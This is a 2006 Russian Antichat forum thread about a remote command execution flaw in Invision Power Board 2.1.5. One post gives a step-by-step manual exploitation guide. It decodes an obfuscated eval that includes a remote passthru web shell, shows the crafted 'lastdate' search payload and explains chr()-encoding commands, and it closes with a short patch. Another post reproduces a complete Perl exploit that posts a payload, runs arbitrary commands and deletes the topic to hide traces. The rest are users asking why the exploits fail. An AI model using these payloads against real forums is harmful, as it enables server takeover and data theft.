ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

  #91  
Старый 02.05.2006, 22:58
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Статейка в тему, думаю полезно будет...

Код:
Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
Давайте обратим внимание на эту строку (#95)

    $text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).
    chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
    chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)’.
    ‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).
    chr(120).chr(116))); //’;

Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
http://rst.void.ru/r57ipbinc.txt
А вот и содержание этого текстового файла:

    <?
    /*
    r57ipbce exploit include file
    */
    passthru($_GET[’eharniy_ekibastos’]);
    ?>

То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
Создаем сообщение, содержащее текст:

    eval(phpinfo()); //

Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:

    &lastdate=z|eval.*?%20//)%23e%00

Адресная строка браузера должна иметь приблизительно такой вид:

    http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00

Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
Но нам нужен шелл.
Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.

Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:

    this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Которое заменяем на:

    $this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );

Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.

P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.
© not null | Security Bunker Team
__________________
 

  #92  
Старый 03.05.2006, 01:22
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
Провел на форуме:
936234

Репутация: 56
По умолчанию

А на 1.3 final не проходит (
 

  #93  
Старый 03.05.2006, 12:05
TRes
Новичок
Регистрация: 22.04.2006
Сообщений: 20
Провел на форуме:
92091

Репутация: 5
Отправить сообщение для TRes с помощью ICQ
По умолчанию

Цитата:
Сообщение от +toxa+  
Статейка в тему, думаю полезно будет...
Может я дурак, но кроме phpinfo() ничего не выполняется положительный результат есть у кого?
 

  #94  
Старый 03.05.2006, 12:46
CobanS
Новичок
Регистрация: 19.02.2006
Сообщений: 5
Провел на форуме:
83954

Репутация: 0
По умолчанию

а как в версии 2.0.4 сделать,?? что не катит...шел не загружаеться.
 

  #95  
Старый 03.05.2006, 14:04
xdye
Познающий
Регистрация: 03.04.2006
Сообщений: 31
Провел на форуме:
175806

Репутация: 14
По умолчанию

У меня не однократно) Воше дыра супер, обажаю шелл
 

  #96  
Старый 03.05.2006, 14:24
Black_Death
Новичок
Регистрация: 16.11.2004
Сообщений: 29
Провел на форуме:
47488

Репутация: -2
По умолчанию

Сори за то, что немного не по теме, но никто не юзал?
Код:
#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga (at) 514 (dot) es [email concealed]
#
# INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO... 
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
# There is no kwel comments in this release, wait for next upgrade
#######################################################################/

use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; # ;1 = |$

my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);

my %lang_es = (
'name' => 'Spanish Language',
'login' => "Ahora estas identificado",
'incorrect' => "Nombre de usuario o contrasena incorrectos",
'deleted' => "Tema Eliminado"
);

my %lang_en = (
'name' => 'English language',
'login' => "You are now logged in",
'incorrect' => "Sorry, we could not find a member using those log in details",
'deleted' => 'Topic Deleted',
);
my %lang_strings = ();

my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });

my $options = GetOptions (
'host=s' => \$arg_host, 
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'ipb_user=s' => \$ipb_user,
'ipb_pass=s' => \$ipb_pass,
'lang=s' => \$lang,
'errors' => \$errors,
'debug' => \$debug);

my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;

&help unless ($host);

# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
lang_autodetect();
print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}

while (1){
print "invvy:\\> ";
my $cmd = <STDIN>;
&invvy($cmd);
}

sub invvy {
chomp (my $cmd = shift);
LWP::Debug::level('+') if $debug;

$ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");

$ua->proxy(['http'] => $proxy) if $proxy;
my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

ipb_login (); # This works with redirects enabled/disabled

ipb_post(); # Post in a main forum.

ipb_exec ($cmd);

ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:

sub help {
print "Syntax: ./$0 <url> [options]\n";
print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--lang=[es|en] (default: autodetect)\n";
print "\t--debug\n";
print "\t--errors\n";
print "\nExample\n";
print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
print "\n";
exit(1);
}

# sponsorized by coca-cola
sub lang_autodetect {

my $req = HTTP::Request->new (GET => $host."/index.php");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;

my $res = $ua->request($req);
my $html = $res->content();

if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
%lang_strings = %lang_es;
return;
}
if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
%lang_strings = %lang_en;
return;
}
print "Unknown lang switching to default: 'english'\n";
%lang_strings = %lang_en;
}

# login function for 2.1.5
sub ipb_login {
my $content;
my $h = $host."/index.php?act=Login&CODE=01";
print $h . "\n" if $debug;
my $req = POST $h,[
'referer' => $host,
'UserName' => $ipb_user,
'PassWord' => $ipb_pass,
'CookieDate' => 1
]; #grab these, and send to dsr!
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Login in\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
}
if ($res->code() eq 302) {
$content = redirect ($res->header("Location"));

} else {

$content = $res->content();
}

if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
print "Logged in\n" if $errors;
} else {
die "Can't log in\n";
}

}

sub redirect {
my ($addr) = @_;
my $req = HTTP::Request->new (GET => $addr);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug; # MKSINK is r0xer

my $res = $ua->request($req);
my $html = $res->content();

return $html;
}

sub ipb_post {
# This is for posting into a main index.

my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;

my $req = HTTP::Request->new (GET => $h);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug; #dirty_epic r0x++

my $res = $ua->request($req);
my $html = $res->content();

($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
($post_key) = $html =~ m/post_key' value='(.*?)'/;

print "AUTH check: $md5_key\n" if $debug;
print "POST key: $post_key\n" if $debug;

$tmp_var = int(rand(31337));
my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
$h = $host."/index.php";

print $h."\n" if $debug;

my $req = POST $h, [
'st' => 0,
'act' => "Post",
's' => '',
'f' => $forum_index,
'auth_key' => $md5_key,
'removeattachid' => 0,
'MAX_FILE_SIZE' => 51200000,
'CODE' => '01',
'post_key' => $post_key,
'TopicTitle' => '514 pwned',
'TopicDesc' => '',
'poll_question' => '',
'ffont' => 0,
'fsize' => 0,
'Post' => $exploitme,
'post_htmlstatus' => 0,
'enableemo' => 'yes',
'enablesig' => 'yes',
'mod_options' => 'nowt',
'iconid' => 0,
'dosubmit' => 'Post New Topic'
];

$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();

print "Location: ".$res->header("Location") if $debug;
($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
if ($errors) {
print "[+] Context: Creating post\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n"; 
}

}

sub ipb_delete {
my ($fid, $tid) = @_;
my $req; 
print "Deleting Topic: $tid from forum: $fid\n" if $debug;

my $h = $host."/index.php";
$req = POST $h, [
'st' => 0,
'act' => 'mod',
'f' => $fid,
'auth_key' => $md5_key,
'CODE' => '08',
't' => $tid,
'submit' => 'Delete this topic'
]; # fuck windows automatic reboot
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

my $res = $ua->request($req);

if ($errors) {
print "[+] Context: Deleting Topic\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
}
# yow yow
if ($res->code() eq 200) {
if ($res->content() =~ /$lang_strings{'deleted'}/) {
print "Topic $topic_index deleted\n" if $errors;
} else {
print "Maybe there was errors deleting post: $topic_index\n" if $errors;
}
}
}

# shhhhh this is hidden
sub ipb_exec { 
my ($cmd) = @_;
my $h = $host."/index.php?act=Search&CODE=01";
my $req = POST $h, [
'keywords' => "HTTP_".$tmp_var,
'namesearch' => '',
'forums[]' => $forum_index,
'prune' => 0,
'prune_type' => 'newer',
'result_type' => 'posts',
'search_in' => 'posts',
'sort_key' => 'last_post',
'searchsubs' => '1'
];
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

my $res = $ua->request($req);
my $html = $res->content();

my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
print "Redirect to: $redir\n" if $errors; # don't ask

if ($errors) {
print "[+] Context: First search\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

if ($res->code eq 302) {
$redir = $res->header("Location");
}

# piere - tonite is a great song
my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
$ua->proxy(['http'] => $proxy) if $proxy;
$req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

print $req->as_string() if $debug;

my $res = $ua->request($req);
my $html = $res->content();

$html =~ m/STARTXPL(.*?)ENDXPL/s;
print $1."\n";

# no matter with you
if ($errors) {
print "[+] Context: Executed\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}

}
# be aware with la roca peoplee
 

  #97  
Старый 03.05.2006, 14:32
xdye
Познающий
Регистрация: 03.04.2006
Сообщений: 31
Провел на форуме:
175806

Репутация: 14
По умолчанию

Я юзал не чего не вышло) не есть гуд ИМХО
 

  #98  
Старый 03.05.2006, 15:11
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
Провел на форуме:
2260903

Репутация: 345


По умолчанию

Если честно, то руками выходит быстрее. Особенно если заинклудить rst.
 

  #99  
Старый 03.05.2006, 15:32
xdye
Познающий
Регистрация: 03.04.2006
Сообщений: 31
Провел на форуме:
175806

Репутация: 14
По умолчанию

Может вылажишь мануал как руками?
 

  #100  
Старый 03.05.2006, 16:10
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию

Цитата:
Сообщение от xdye  
Может вылажишь мануал как руками?
Сколько можно мусолить тему? Уже и видео есть и мануалов несколько.
Мануал: http://forum.antichat.ru/showpost.ph...1&postcount=91

Читайте топик сначала.
__________________
Full DNS report

Последний раз редактировалось Azazel; 03.05.2006 в 16:12..
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4 Ice_Fro$T Форумы 19 18.11.2006 09:19
Множественные уязвимости в INVISION POWER BOARD 2.1.x GreenBear Уязвимости 6 02.03.2006 21:36
Эксплоит для Invision Power Board v2.1.3? xdx Форумы 8 08.02.2006 22:56
Invision Power Board <= 1.3.1 Login.PHP SQL Injection Как пользоваться? GrisS Форумы 16 02.02.2006 16:00
Вопрос про заливку шелла в Invision Power Board DiNo Форумы 14 03.03.2005 13:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ